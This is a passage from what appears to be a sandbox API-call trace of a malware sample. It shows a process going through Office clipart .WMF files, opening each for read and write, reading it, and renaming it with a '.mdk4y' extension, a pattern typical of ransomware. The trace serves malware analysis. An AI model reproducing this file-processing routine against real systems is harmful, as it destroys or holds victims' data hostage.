Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.mdk4y")) returned 1 [0172.011] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.011] AreFileApisANSI () returned 1 [0172.011] GetACP () returned 0x4e4 [0172.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02369_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02369_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.011] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.012] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8c0, lpOverlapped=0x0) returned 1 [0172.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.mdk4y")) returned 1 [0172.021] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.022] AreFileApisANSI () returned 1 [0172.022] GetACP () returned 0x4e4 [0172.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02522_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02522_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.022] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.023] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39f8, lpOverlapped=0x0) returned 1 [0172.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.mdk4y")) returned 1 [0172.031] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.031] AreFileApisANSI () returned 1 [0172.031] GetACP () returned 0x4e4 [0172.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02950_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02950_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.031] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.031] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d2a, lpOverlapped=0x0) returned 1 [0172.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.mdk4y")) returned 1 [0172.034] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.034] AreFileApisANSI () returned 1 [0172.034] GetACP () returned 0x4e4 [0172.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE02957_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE02957_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.034] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc70, lpOverlapped=0x0) returned 1 [0172.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.mdk4y")) returned 1 [0172.049] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.049] AreFileApisANSI () returned 1 [0172.049] GetACP () returned 0x4e4 [0172.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03236_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03236_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.049] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.050] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x614, lpOverlapped=0x0) returned 1 [0172.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.mdk4y")) returned 1 [0172.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.055] AreFileApisANSI () returned 1 [0172.055] GetACP () returned 0x4e4 [0172.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03241_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03241_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.062] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b4, lpOverlapped=0x0) returned 1 [0172.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.mdk4y")) returned 1 [0172.079] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.079] AreFileApisANSI () returned 1 [0172.079] GetACP () returned 0x4e4 [0172.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03257_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03257_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.080] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.080] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3380, lpOverlapped=0x0) returned 1 [0172.082] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.mdk4y")) returned 1 [0172.082] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.082] AreFileApisANSI () returned 1 [0172.082] GetACP () returned 0x4e4 [0172.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03331_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03331_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.082] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.083] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x692, lpOverlapped=0x0) returned 1 [0172.092] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.mdk4y")) returned 1 [0172.092] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.093] AreFileApisANSI () returned 1 [0172.093] GetACP () returned 0x4e4 [0172.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03339_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03339_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.093] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.093] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x282c, lpOverlapped=0x0) returned 1 [0172.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.mdk4y")) returned 1 [0172.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.096] AreFileApisANSI () returned 1 [0172.096] GetACP () returned 0x4e4 [0172.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03451_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03451_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.096] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2108, lpOverlapped=0x0) returned 1 [0172.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.mdk4y")) returned 1 [0172.103] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.104] AreFileApisANSI () returned 1 [0172.104] GetACP () returned 0x4e4 [0172.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03453_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03453_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.104] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f24, lpOverlapped=0x0) returned 1 [0172.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.mdk4y")) returned 1 [0172.107] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.107] AreFileApisANSI () returned 1 [0172.107] GetACP () returned 0x4e4 [0172.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03459_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03459_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.107] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.108] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2178, lpOverlapped=0x0) returned 1 [0172.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.mdk4y")) returned 1 [0172.110] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.110] AreFileApisANSI () returned 1 [0172.110] GetACP () returned 0x4e4 [0172.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03464_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03464_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.110] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.113] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1664, lpOverlapped=0x0) returned 1 [0172.115] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.mdk4y")) returned 1 [0172.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.115] AreFileApisANSI () returned 1 [0172.115] GetACP () returned 0x4e4 [0172.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03466_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03466_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.115] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.116] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x41a0, lpOverlapped=0x0) returned 1 [0172.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.mdk4y")) returned 1 [0172.122] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.122] AreFileApisANSI () returned 1 [0172.122] GetACP () returned 0x4e4 [0172.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03470_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03470_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.122] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.122] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3998, lpOverlapped=0x0) returned 1 [0172.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.mdk4y")) returned 1 [0172.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.124] AreFileApisANSI () returned 1 [0172.124] GetACP () returned 0x4e4 [0172.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03513_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03513_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.125] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.125] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xec4, lpOverlapped=0x0) returned 1 [0172.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.mdk4y")) returned 1 [0172.132] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.132] AreFileApisANSI () returned 1 [0172.132] GetACP () returned 0x4e4 [0172.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03668_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03668_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.132] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0172.132] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1868, lpOverlapped=0x0) returned 1 [0172.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.mdk4y")) returned 1 [0172.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0172.138] AreFileApisANSI () returned 1 [0172.138] GetACP () returned 0x4e4 [0172.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PE03731_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PE03731_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0172.138] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 